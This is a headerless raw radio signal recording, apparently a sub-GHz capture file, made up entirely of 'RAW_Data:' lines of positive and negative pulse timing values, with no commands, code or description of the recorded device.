-106 339 -130 357 -124 337 -128 93 -366 131 -366 91 -3748 99 -358 105 -370 93 -394 327 -134 331 -124 337 -126 339 -128 339 -128 125 -372 327 -140 335 -128 351 -94 121 -374 139 -332 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 355 -124 337 -130 91 -368 131 -364 93 -3740 101 -356 141 -334 127 -352 351 -104 337 -124 377 -94 369 -96 371 -128 93 -368 365 -108 337 -130 353 -94 121 -374 139 -332 127 -354 351 -138 107 -362 105 -368 345 -106 339 -130 357 -92 369 -128 93 -368 131 -364 91 -3742 99 -356 143 -334 125 -354 349 -104 339 -124 375 -94 369 -98 369 -128 95 -366 367 -106 339 -128 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3744 99 -356 143 -334 125 -352 349 -140 333 -94 375 -94 369 -130 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3748 101 -356 105 -370 93 -394 329 -134 331 -122 337 -128 339 -128 337 -128 127 -372 325 -142 335 -128 351 -94 121 -374 103 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 357 -92 369 -128 93 -368 131 -364 91 -3748 101 -356 105 -370 93 -394 329 -134 331 -122 337 -128 337 -130 337 -128 127 -370 327 -142 335 -128 351 -94 121 -374 103 -368 125 -354 349 -140 105 -364 103 -368 347 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3742 101 -356 141 -334 127 -352 351 -102 339 -124 375 -96 369 -96 371 -128 93 -368 365 -108 337 -130 353 -94 121 -374 137 -334 125 -356 351 -140 105 -362 105 -370 343 -108 337 -132 355 -94 367 -130 91 -368 131 -364 93 -3738 97 -370 95 -368 141 -334 -RAW_Data: 367 -108 339 -130 353 -94 369 -128 337 -130 93 -368 367 -108 337 -130 357 -92 121 -376 137 -334 125 -354 351 -140 105 -364 105 -368 345 -106 339 -130 355 -94 369 -128 91 -368 131 -334 123 -3742 99 -356 143 -334 127 -350 351 -104 367 -94 375 -94 369 -130 337 -128 95 -368 365 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3720 135 -354 105 -370 93 -380 349 -104 337 -124 375 -96 369 -128 339 -128 93 -368 365 -108 337 -130 353 -124 91 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 91 -368 131 -366 91 -3742 95 -372 93 -368 141 -334 369 -106 339 -130 353 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -124 91 -374 139 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -94 367 -130 91 -368 131 -364 91 -3742 99 -394 105 -334 125 -354 349 -140 333 -92 377 -96 369 -128 339 -128 93 -368 365 -108 337 -130 353 -126 89 -374 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -364 93 -3740 95 -372 93 -370 139 -336 367 -108 339 -130 353 -94 369 -128 337 -130 93 -368 367 -108 337 -130 355 -124 91 -374 139 -332 127 -354 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3744 95 -372 93 -366 141 -334 369 -108 339 -130 353 -94 367 -130 337 -128 95 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 351 -104 141 -364 105 -368 345 -106 339 -130 355 -94 369 -128 91 -368 131 -334 123 -3744 99 -356 107 -368 125 -352 351 -138 335 -92 377 -96 369 -96 371 -128 93 -368 367 -106 337 -130 353 -124 91 -374 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 131 -366 91 -3718 135 -354 105 -370 93 -392 331 -134 331 -122 361 -104 359 -142 335 -94 139 -342 353 -140 341 -102 361 -124 109 -374 97 -362 123 -360 327 -122 141 -344 135 -334 351 -140 335 -126 349 -94 369 -128 93 -368 129 -334 123 -3744 101 -356 105 -370 125 -350 351 -104 367 -94 375 -94 371 -128 337 -130 93 -368 365 -106 339 -128 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -364 93 -3740 101 -392 105 -334 125 -354 351 -138 335 -94 377 -94 369 -130 337 -128 93 -368 -RAW_Data: 367 -106 337 -130 355 -124 89 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3744 101 -356 141 -334 127 -352 349 -104 369 -94 375 -94 369 -128 339 -128 93 -368 365 -108 337 -130 357 -92 121 -376 137 -334 125 -354 351 -140 105 -364 105 -368 345 -106 337 -130 357 -124 337 -128 91 -368 131 -366 91 -3746 101 -356 141 -334 125 -352 351 -104 337 -124 377 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -126 89 -374 139 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 355 -126 337 -128 91 -368 131 -366 91 -3716 135 -354 107 -368 93 -396 329 -132 331 -122 337 -128 369 -96 371 -96 125 -372 327 -142 335 -128 351 -94 121 -376 137 -334 125 -354 349 -140 105 -364 103 -370 343 -108 337 -132 357 -124 337 -128 93 -366 131 -366 91 -3742 101 -392 105 -334 125 -354 351 -138 335 -92 377 -96 369 -128 339 -128 93 -368 365 -108 337 -130 353 -124 91 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3740 97 -370 95 -368 141 -334 369 -106 339 -130 355 -94 367 -130 337 -128 93 -368 367 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -362 105 -370 343 -106 339 -132 355 -94 369 -128 91 -368 131 -366 91 -3744 97 -370 93 -366 141 -334 369 -106 341 -128 323 -158 337 -128 339 -128 95 -368 365 -106 339 -130 355 -126 89 -374 103 -368 125 -356 351 -140 105 -362 103 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -366 91 -3716 135 -354 107 -368 93 -394 327 -134 331 -122 361 -104 359 -108 371 -94 139 -344 355 -142 339 -100 363 -92 139 -342 127 -362 123 -360 325 -122 143 -344 135 -334 351 -140 335 -126 349 -94 369 -128 91 -368 131 -332 123 -3742 99 -356 143 -334 127 -352 351 -104 369 -92 375 -94 369 -128 337 -128 93 -368 367 -108 339 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -364 105 -368 347 -106 341 -130 355 -94 367 -128 93 -366 131 -334 121 -3738 97 -370 127 -346 139 -336 351 -106 373 -100 361 -92 369 -128 337 -128 123 -336 371 -108 371 -98 357 -92 121 -376 137 -336 125 -352 351 -138 107 -362 105 -370 345 -108 339 -130 357 -92 367 -130 91 -366 133 -334 121 -3740 95 -372 125 -346 141 -336 351 -106 375 -100 357 -94 367 -128 339 -128 123 -336 371 -106 371 -98 357 -94 119 -376 137 -336 125 -352 -RAW_Data: 351 -140 105 -364 105 -336 379 -106 339 -132 355 -92 369 -128 91 -366 133 -334 123 -3740 99 -392 107 -334 127 -354 349 -104 369 -94 375 -94 369 -96 371 -128 93 -366 369 -108 339 -128 357 -92 121 -374 139 -334 125 -354 349 -140 107 -362 105 -338 377 -106 341 -130 355 -92 369 -130 91 -366 131 -334 123 -3740 99 -392 105 -336 125 -356 349 -104 371 -92 375 -94 369 -128 337 -128 93 -368 369 -106 339 -130 355 -92 121 -376 139 -334 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 355 -94 369 -128 91 -368 131 -334 121 -3712 135 -356 143 -334 125 -352 349 -104 369 -92 375 -96 369 -128 339 -128 93 -368 365 -108 337 -130 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3716 135 -356 105 -370 93 -392 331 -132 331 -122 361 -104 359 -108 371 -94 139 -344 355 -106 375 -100 361 -94 139 -340 129 -360 125 -358 329 -122 143 -342 137 -332 351 -140 335 -126 349 -92 369 -128 91 -368 131 -334 121 -3718 133 -358 141 -334 93 -382 349 -104 367 -94 373 -96 369 -96 369 -128 95 -366 367 -108 339 -128 355 -94 121 -374 139 -334 125 -354 349 -104 143 -362 105 -370 345 -108 339 -130 357 -92 369 -128 93 -368 129 -334 123 -3744 101 -356 143 -334 125 -352 349 -104 367 -94 373 -94 369 -128 337 -130 93 -366 369 -108 339 -130 353 -94 121 -376 137 -334 125 -354 351 -138 107 -364 105 -368 347 -106 339 -130 355 -94 369 -128 91 -368 131 -334 123 -3716 133 -358 105 -370 93 -394 329 -134 329 -124 359 -106 359 -108 369 -94 141 -342 355 -140 341 -100 363 -92 139 -342 127 -362 123 -360 327 -122 141 -344 137 -332 351 -142 335 -126 347 -94 369 -128 91 -368 131 -334 121 -3742 101 -356 141 -336 127 -352 351 -104 367 -94 375 -92 369 -128 337 -130 123 -336 369 -108 337 -130 357 -92 121 -376 137 -334 125 -356 349 -140 107 -362 105 -338 377 -108 337 -130 355 -92 369 -128 121 -338 131 -336 123 -3746 101 -356 143 -334 125 -350 351 -104 367 -94 373 -94 369 -130 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 139 -334 125 -354 351 -140 107 -362 105 -370 345 -106 339 -130 355 -92 369 -128 121 -338 131 -334 123 -3748 101 -356 141 -336 125 -350 351 -102 369 -92 375 -94 369 -128 339 -128 93 -366 369 -106 339 -130 355 -94 119 -376 139 -334 125 -354 351 -104 141 -364 105 -368 347 -106 339 -130 355 -92 -RAW_Data: 369 -128 121 -338 131 -334 123 -3740 95 -372 125 -346 141 -336 349 -106 373 -100 359 -92 369 -128 337 -128 125 -336 371 -106 371 -100 357 -92 121 -376 137 -336 125 -354 351 -138 107 -362 105 -370 345 -108 339 -130 355 -94 369 -128 91 -368 131 -332 123 -3738 97 -372 125 -346 139 -338 351 -106 375 -100 359 -92 369 -128 339 -128 123 -336 369 -108 339 -130 357 -92 121 -374 139 -334 125 -354 351 -104 143 -362 105 -338 377 -108 339 -130 355 -92 369 -128 91 -368 131 -332 123 -3738 97 -370 127 -344 123 -354 355 -106 355 -140 333 -92 391 -104 359 -108 141 -364 319 -106 395 -106 333 -124 143 -340 97 -362 123 -360 327 -124 121 -356 139 -336 371 -108 339 -130 353 -94 367 -128 93 -366 131 -336 121 -3742 101 -356 141 -336 125 -354 351 -102 369 -94 375 -94 369 -130 337 -128 93 -368 367 -108 339 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -364 105 -336 379 -106 339 -130 355 -94 367 -128 123 -336 131 -336 121 -3740 101 -392 105 -336 127 -354 351 -104 369 -92 377 -96 369 -128 337 -130 93 -368 367 -106 339 -130 355 -94 119 -376 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3714 135 -356 143 -334 125 -350 349 -104 369 -92 375 -94 367 -128 339 -128 93 -366 369 -108 337 -130 357 -92 121 -376 137 -336 125 -352 351 -104 143 -362 105 -338 377 -108 339 -130 355 -92 369 -128 121 -338 131 -334 123 -3740 95 -372 125 -346 141 -336 351 -106 375 -100 359 -92 367 -128 339 -128 123 -336 371 -106 373 -98 355 -94 121 -374 139 -334 125 -354 349 -140 107 -364 105 -336 379 -106 339 -130 357 -92 369 -128 91 -368 131 -334 121 -3740 95 -372 125 -346 141 -336 351 -106 375 -100 359 -92 369 -128 337 -128 125 -336 369 -108 371 -98 359 -92 121 -374 139 -332 127 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3746 99 -356 143 -334 127 -352 349 -104 369 -92 375 -94 369 -128 337 -128 95 -366 369 -106 339 -130 355 -92 121 -376 139 -334 125 -354 351 -138 107 -364 105 -336 379 -106 339 -130 357 -92 369 -128 91 -368 131 -334 121 -3742 95 -372 125 -346 141 -336 349 -106 375 -100 359 -92 369 -128 337 -128 125 -336 369 -106 373 -98 357 -92 121 -376 139 -334 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 357 -92 369 -128 91 -368 131 -332 123 -3742 99 -392 105 -336 -RAW_Data: 127 -354 349 -104 371 -92 377 -94 369 -96 369 -128 95 -366 367 -108 339 -130 355 -94 119 -376 137 -336 125 -352 351 -140 107 -362 105 -370 345 -106 339 -132 355 -92 369 -128 91 -368 131 -334 123 -3740 99 -392 105 -336 127 -356 349 -104 369 -94 377 -92 369 -130 337 -128 93 -368 367 -108 339 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -364 105 -368 347 -106 339 -130 355 -94 367 -128 123 -336 131 -336 123 -3744 101 -356 141 -336 125 -352 351 -104 367 -94 375 -94 367 -128 339 -128 123 -336 369 -108 339 -130 357 -122 91 -376 137 -334 125 -356 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3718 135 -356 107 -368 93 -392 331 -132 331 -122 361 -104 359 -108 371 -94 139 -344 355 -142 339 -102 361 -92 139 -342 129 -360 123 -360 327 -122 141 -344 137 -334 351 -140 335 -128 349 -92 369 -128 93 -366 131 -334 121 -3744 101 -356 143 -334 125 -352 351 -104 369 -92 375 -94 369 -128 339 -128 93 -366 369 -106 339 -130 355 -94 121 -374 139 -334 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 355 -124 339 -128 91 -368 131 -364 93 -3716 133 -356 143 -334 125 -350 349 -104 369 -92 375 -96 369 -96 369 -128 95 -366 367 -108 337 -130 355 -94 121 -374 139 -334 125 -354 349 -140 107 -364 105 -338 377 -106 339 -130 355 -92 369 -128 121 -338 131 -334 123 -3742 99 -392 105 -336 127 -356 349 -104 369 -92 377 -94 367 -130 337 -128 123 -336 369 -108 371 -98 357 -92 121 -376 137 -334 125 -354 351 -104 143 -364 105 -338 375 -108 339 -130 355 -92 369 -128 91 -368 131 -334 123 -3738 97 -370 127 -344 123 -354 357 -106 353 -142 331 -94 389 -106 359 -106 143 -362 321 -106 391 -108 335 -122 145 -338 97 -362 125 -358 327 -122 123 -358 139 -336 371 -108 339 -130 353 -92 369 -128 91 -368 131 -336 121 -3746 99 -356 143 -334 127 -352 351 -104 367 -94 373 -94 369 -128 337 -130 93 -366 369 -108 339 -130 357 -92 121 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3746 99 -356 143 -334 125 -352 351 -104 367 -94 373 -94 369 -128 339 -128 93 -368 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3742 99 -392 107 -334 127 -354 349 -140 335 -92 377 -96 369 -128 339 -128 -RAW_Data: 93 -368 365 -108 337 -130 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -370 131 -364 91 -3742 101 -356 141 -336 125 -354 349 -104 369 -94 375 -94 369 -128 337 -130 123 -336 369 -106 341 -130 357 -92 121 -374 139 -334 125 -352 353 -104 141 -364 105 -338 377 -108 337 -130 355 -94 367 -128 93 -366 133 -334 123 -3716 135 -356 141 -336 91 -394 331 -132 331 -124 359 -106 359 -108 369 -94 141 -342 355 -142 339 -102 361 -92 139 -342 129 -360 125 -358 329 -122 143 -344 135 -334 351 -140 335 -126 347 -94 369 -128 91 -368 131 -334 121 -3740 95 -372 125 -346 141 -336 351 -106 375 -100 359 -92 369 -128 337 -128 125 -336 369 -106 373 -98 357 -92 121 -376 139 -334 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 355 -94 367 -128 123 -336 131 -336 121 -3738 97 -372 125 -346 123 -354 355 -106 355 -142 331 -92 391 -104 359 -108 143 -362 321 -106 393 -106 333 -124 145 -338 97 -362 125 -360 327 -122 121 -358 141 -336 371 -106 339 -130 353 -94 367 -128 93 -366 133 -334 123 -3736 97 -372 125 -346 123 -352 357 -106 353 -142 333 -92 391 -104 359 -108 141 -364 319 -106 395 -106 333 -124 109 -374 97 -362 123 -360 327 -122 121 -358 141 -336 371 -106 339 -130 355 -92 369 -128 91 -368 131 -334 123 -3744 101 -356 143 -334 125 -354 349 -104 369 -94 375 -94 369 -128 337 -128 95 -366 367 -108 339 -130 355 -92 121 -376 137 -336 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 355 -94 367 -128 123 -336 131 -336 123 -3748 101 -356 141 -336 125 -364 329 -134 329 -124 369 -94 371 -96 369 -96 125 -368 365 -106 339 -128 353 -92 121 -376 137 -334 125 -354 351 -104 141 -364 103 -370 345 -108 339 -130 355 -94 369 -128 91 -366 133 -334 123 -3746 101 -356 143 -334 125 -352 349 -104 369 -94 375 -94 367 -130 337 -128 93 -368 367 -108 337 -130 357 -92 121 -376 137 -336 125 -354 349 -140 107 -364 103 -370 345 -108 339 -130 355 -94 367 -128 93 -366 133 -334 123 -3718 135 -356 141 -334 93 -394 329 -134 329 -124 359 -106 359 -108 371 -94 139 -342 357 -106 375 -100 361 -92 139 -342 129 -362 123 -360 327 -122 141 -344 137 -332 351 -140 337 -126 349 -94 369 -128 91 -368 131 -334 121 -3742 99 -394 105 -334 127 -354 351 -138 335 -94 377 -94 369 -130 337 -128 93 -368 367 -106 337 -130 355 -94 121 -376 137 -334 -RAW_Data: 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -94 367 -130 91 -368 131 -364 93 -3746 101 -356 143 -334 125 -352 349 -104 369 -94 375 -94 371 -128 337 -128 93 -368 367 -108 337 -130 355 -94 121 -374 139 -334 125 -354 351 -140 105 -364 105 -368 345 -106 339 -130 357 -94 369 -128 91 -368 131 -364 93 -3718 133 -356 143 -334 125 -348 351 -104 369 -92 377 -94 369 -128 337 -130 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 359 -92 369 -128 91 -368 131 -366 91 -3742 101 -356 141 -336 127 -352 351 -140 333 -94 377 -94 369 -130 337 -128 95 -366 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 131 -366 91 -3718 135 -356 143 -334 125 -362 331 -134 331 -122 361 -104 359 -106 371 -94 139 -342 389 -106 341 -100 361 -124 109 -374 97 -362 123 -360 327 -124 141 -342 137 -334 351 -142 335 -126 349 -94 369 -128 91 -368 131 -334 121 -3742 101 -356 141 -336 127 -352 349 -104 371 -92 375 -94 369 -128 339 -128 93 -366 369 -106 341 -130 355 -94 121 -374 137 -334 125 -356 351 -140 105 -364 103 -370 345 -108 339 -130 357 -92 369 -128 91 -366 133 -334 123 -3746 101 -356 141 -336 125 -352 349 -104 371 -94 375 -94 369 -96 371 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -336 123 -354 351 -138 107 -362 105 -370 345 -108 339 -130 355 -94 367 -128 123 -336 131 -336 123 -3746 99 -356 143 -334 127 -352 351 -104 369 -94 375 -94 367 -130 337 -128 93 -368 367 -108 339 -130 355 -92 121 -376 137 -334 125 -356 349 -140 105 -364 105 -368 347 -106 339 -130 357 -92 369 -128 121 -338 131 -334 123 -3744 97 -370 95 -378 123 -350 357 -106 351 -142 331 -124 359 -104 359 -108 143 -362 321 -140 359 -106 335 -122 109 -374 97 -362 125 -360 325 -122 123 -360 139 -336 371 -106 339 -130 353 -94 369 -128 91 -366 133 -334 123 -3746 101 -356 141 -336 125 -352 351 -104 369 -92 375 -94 369 -128 337 -128 95 -366 369 -108 339 -128 355 -94 121 -374 139 -334 125 -354 351 -140 107 -362 105 -370 345 -106 339 -132 355 -92 369 -128 121 -338 131 -336 121 -3742 99 -392 105 -336 127 -356 349 -104 369 -94 375 -94 369 -130 337 -128 93 -368 369 -106 339 -130 355 -92 121 -376 139 -334 125 -354 349 -140 107 -364 103 -370 345 -108 339 -130 -RAW_Data: 357 -92 369 -128 121 -338 131 -334 123 -3748 101 -356 141 -336 125 -350 351 -104 369 -92 375 -94 369 -128 337 -128 123 -338 369 -108 337 -130 357 -126 89 -376 101 -370 125 -356 351 -138 107 -362 103 -370 343 -106 339 -132 357 -124 339 -128 91 -370 131 -364 93 -3748 99 -356 107 -368 125 -354 349 -104 367 -94 377 -94 369 -130 337 -128 95 -366 367 -108 337 -130 355 -94 121 -376 137 -334 125 -354 351 -140 105 -364 105 -368 345 -106 339 -130 357 -124 337 -128 93 -368 131 -364 93 -3744 99 -392 105 -334 127 -354 351 -138 335 -126 315 -126 369 -128 339 -128 93 -370 365 -108 337 -128 355 -126 89 -376 101 -368 127 -354 353 -138 105 -364 103 -368 345 -140 303 -130 359 -126 337 -128 91 -370 131 -364 93 -3718 135 -356 107 -368 93 -394 329 -134 329 -124 361 -104 359 -142 335 -94 137 -376 357 -104 343 -102 361 -124 107 -376 97 -362 123 -360 327 -122 143 -342 137 -334 353 -138 335 -128 349 -94 369 -128 91 -368 131 -334 123 -3740 101 -392 105 -334 127 -354 349 -140 335 -124 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -126 89 -376 101 -368 127 -354 351 -140 105 -362 105 -368 343 -142 303 -132 357 -126 337 -128 93 -368 131 -366 91 -3742 97 -372 93 -380 93 -382 353 -106 349 -140 333 -122 361 -104 357 -108 143 -362 317 -142 359 -108 335 -124 143 -342 97 -362 123 -360 327 -124 123 -358 139 -336 371 -106 337 -130 355 -124 361 -104 103 -384 103 -362 103 -3736 99 -392 103 -354 107 -368 327 -142 337 -128 321 -156 337 -130 337 -130 93 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3720 135 -354 107 -368 93 -394 329 -134 329 -124 361 -104 359 -142 335 -94 137 -378 355 -104 343 -102 361 -124 91 -376 137 -334 127 -356 351 -138 107 -362 105 -370 343 -106 339 -130 359 -124 359 -104 103 -384 105 -360 103 -3740 99 -358 137 -354 105 -338 357 -140 337 -128 321 -156 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 89 -378 101 -368 127 -354 353 -138 105 -364 103 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3746 101 -392 105 -334 125 -354 351 -104 367 -94 377 -94 369 -128 339 -128 93 -368 367 -106 337 -130 355 -124 91 -374 139 -334 125 -354 351 -140 107 -362 105 -368 345 -106 339 -130 359 -124 337 -128 93 -368 131 -364 91 -3752 99 -356 -RAW_Data: 107 -370 125 -352 349 -140 303 -124 345 -126 369 -130 337 -130 93 -370 363 -108 337 -128 355 -126 89 -376 101 -370 125 -356 351 -138 105 -362 105 -370 343 -142 301 -132 359 -124 337 -130 91 -368 133 -364 91 -3746 99 -392 105 -334 127 -354 351 -138 333 -94 377 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 125 -354 353 -140 105 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3744 101 -392 103 -336 125 -356 349 -140 335 -126 313 -126 371 -128 339 -128 93 -370 365 -106 337 -130 355 -126 89 -376 101 -370 125 -354 353 -138 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3744 99 -392 105 -336 127 -354 351 -138 333 -94 377 -94 369 -128 337 -130 93 -368 367 -106 339 -130 355 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -130 91 -368 131 -366 91 -3742 99 -392 105 -336 127 -356 349 -140 333 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -124 89 -376 101 -370 125 -356 353 -138 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3746 99 -394 105 -334 125 -354 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -126 89 -374 139 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3750 101 -356 105 -370 125 -352 349 -140 301 -158 313 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -124 91 -376 101 -368 127 -354 351 -138 107 -362 103 -370 343 -106 339 -130 359 -126 337 -128 91 -370 131 -364 93 -3744 99 -392 105 -336 125 -354 351 -140 333 -92 377 -96 369 -128 337 -130 93 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -128 93 -368 131 -364 93 -3746 101 -356 141 -334 125 -354 349 -140 303 -156 315 -126 369 -128 339 -128 93 -370 365 -108 337 -128 355 -124 91 -376 101 -368 127 -354 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 337 -128 93 -368 131 -366 91 -3750 99 -392 71 -783352 171 -342 105 -336 123 -384 325 -126 351 -124 337 -128 339 -128 337 -128 125 -348 353 -140 333 -94 377 -96 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 357 -92 369 -128 91 -368 131 -334 123 -3742 101 -356 143 -334 93 -382 349 -104 369 -92 -RAW_Data: 343 -126 371 -128 337 -130 93 -368 365 -106 337 -130 355 -126 89 -376 101 -368 125 -356 351 -138 105 -362 103 -370 343 -106 337 -132 357 -126 337 -128 91 -370 131 -364 93 -3742 99 -356 107 -368 93 -384 351 -104 335 -124 377 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 139 -332 125 -356 349 -140 105 -364 105 -368 345 -106 339 -130 355 -94 369 -128 91 -368 131 -334 123 -3738 97 -372 93 -368 139 -336 367 -108 339 -130 323 -156 337 -130 337 -130 93 -368 365 -108 337 -130 355 -126 89 -376 101 -368 127 -354 349 -140 105 -362 103 -370 343 -106 339 -130 359 -124 337 -130 91 -368 131 -364 93 -3738 97 -372 93 -368 139 -336 367 -108 339 -128 355 -126 337 -128 339 -128 95 -368 365 -106 339 -130 355 -126 89 -376 101 -368 125 -356 349 -140 105 -362 105 -368 343 -106 339 -130 359 -124 337 -130 91 -368 131 -366 91 -3744 99 -356 143 -334 125 -352 349 -140 303 -156 315 -126 337 -160 307 -160 95 -370 329 -140 337 -128 323 -156 91 -374 101 -368 125 -356 353 -138 105 -362 103 -370 343 -140 303 -130 359 -124 337 -128 93 -368 131 -366 91 -3744 101 -356 105 -370 125 -352 351 -102 369 -92 377 -96 369 -128 337 -128 95 -366 367 -106 339 -130 355 -124 91 -374 101 -370 125 -354 351 -140 105 -362 105 -368 343 -108 337 -132 357 -124 337 -130 91 -368 131 -366 91 -3748 101 -354 107 -370 93 -382 349 -140 301 -156 313 -128 337 -160 307 -160 95 -370 329 -140 335 -130 323 -156 91 -376 101 -368 93 -388 351 -138 105 -362 103 -370 343 -140 303 -132 327 -156 339 -128 91 -370 97 -398 93 -3720 101 -384 105 -368 93 -394 329 -132 331 -124 337 -126 369 -98 369 -96 127 -370 329 -140 337 -128 351 -94 121 -374 139 -332 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3716 135 -354 107 -368 125 -362 331 -132 331 -124 359 -104 359 -144 333 -94 139 -342 353 -142 341 -102 361 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 351 -94 369 -128 91 -368 131 -332 123 -3740 101 -356 141 -336 125 -354 349 -140 301 -126 345 -126 369 -130 337 -128 95 -368 365 -106 337 -130 353 -126 89 -376 101 -368 127 -354 353 -138 105 -364 103 -368 343 -106 339 -130 359 -126 337 -128 91 -370 131 -364 93 -3744 101 -356 105 -370 93 -384 351 -102 369 -92 377 -94 369 -128 337 -130 93 -368 365 -108 337 -130 -RAW_Data: 357 -92 121 -376 137 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 131 -366 91 -3720 135 -354 107 -368 93 -380 351 -138 303 -124 345 -126 369 -130 337 -128 95 -368 365 -108 337 -128 355 -124 89 -376 101 -370 125 -354 351 -140 105 -362 103 -370 343 -106 337 -132 359 -124 337 -128 93 -368 131 -366 91 -3716 135 -356 107 -370 93 -392 329 -134 329 -124 339 -126 339 -128 337 -128 127 -372 327 -140 335 -128 351 -126 89 -376 101 -368 127 -354 351 -140 105 -362 105 -368 343 -106 339 -130 359 -124 337 -130 91 -368 131 -364 93 -3738 97 -370 95 -378 125 -350 355 -104 351 -140 333 -124 359 -106 357 -108 141 -362 317 -140 359 -106 337 -124 143 -342 97 -366 123 -360 327 -122 123 -358 139 -334 371 -106 339 -128 357 -124 359 -106 103 -384 103 -360 105 -3736 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -128 339 -126 125 -354 349 -132 333 -124 341 -128 121 -372 101 -368 93 -384 351 -138 105 -362 105 -368 343 -140 303 -132 357 -126 337 -130 91 -370 131 -364 91 -3750 101 -354 105 -368 93 -396 329 -134 331 -124 337 -128 337 -128 339 -128 127 -370 327 -140 337 -128 351 -126 89 -374 103 -368 125 -356 351 -140 105 -362 103 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -366 91 -3716 135 -356 107 -370 93 -392 329 -134 329 -124 361 -104 359 -144 333 -94 139 -342 355 -140 341 -102 361 -124 107 -374 97 -362 125 -360 327 -122 143 -342 135 -334 353 -138 335 -128 349 -126 337 -128 91 -370 129 -364 93 -3742 95 -372 93 -366 139 -336 369 -106 339 -130 355 -124 339 -128 339 -128 93 -368 367 -106 337 -130 359 -124 89 -376 137 -334 125 -356 351 -138 105 -364 103 -370 343 -106 339 -132 357 -124 339 -128 91 -368 133 -364 93 -3742 101 -356 141 -334 125 -354 351 -138 303 -156 315 -158 339 -128 339 -128 95 -368 331 -140 337 -130 323 -156 91 -374 103 -368 93 -388 353 -138 103 -362 105 -368 343 -142 303 -130 359 -126 337 -128 91 